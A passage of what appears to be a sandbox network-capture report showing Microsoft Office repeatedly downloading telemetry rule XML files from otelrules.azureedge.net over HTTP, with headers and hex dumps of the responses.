2024-11-25 11:08:15 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:14 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:15 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 8abb671b-d01e-0049-4b0c-3de7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110815Z-178bfbc474bwlrhlhC1NYCy3kg00000007eg000000002f5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:15 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:16 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:16 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: ab1afa94-201e-0085-151a-3d34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110816Z-178bfbc474bgvl54hC1NYCsfuw000000077g00000000d3t7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:16 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:16 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:16 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 55036ff3-c01e-00a1-5927-3e7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110816Z-15b8b599d88phfhnhC1TEBr51n00000005vg00000000gr3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:16 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:16 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:16 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: a6ee8c45-701e-0053-78c6-3e3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110816Z-178bfbc474bv587zhC1NYCny5w00000007ag000000002mrs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:16 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:16 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:17 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: efd631bc-c01e-008d-6f47-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110817Z-15b8b599d88g5tp8hC1TEByx6w00000005xg0000000018y4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:17 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:17 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:17 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 3767267b-e01e-000c-0ca4-3e8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110817Z-178bfbc474bq2pr7hC1NYCkfgg00000007g0000000006hb5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:17 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:18 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:18 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: afa98cfc-701e-003e-2a3c-3c79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110818Z-178bfbc474bscnbchC1NYCe7eg00000007gg0000000067t6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:19 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:18 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:18 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 36815d12-601e-0070-4763-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110818Z-178bfbc474bwh9gmhC1NYCy3rs00000007eg0000000065n2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:19 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:18 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:19 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 6b6acbbe-a01e-0021-3306-3d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110819Z-178bfbc474b7cbwqhC1NYC8z4n00000007bg000000002pe2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:19 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49943	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:19 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:19 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a4032f19-b01e-0084-598d-3bd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110819Z-174c587ffdf59vqchC1TEByk68000000062g000000002v54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:19 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49944	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:19 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:19 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: e5390902-901e-0015-1805-3db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110819Z-178bfbc474bw8bwphC1NYC38b4000000074g000000008tfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:19 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49945	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:20 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
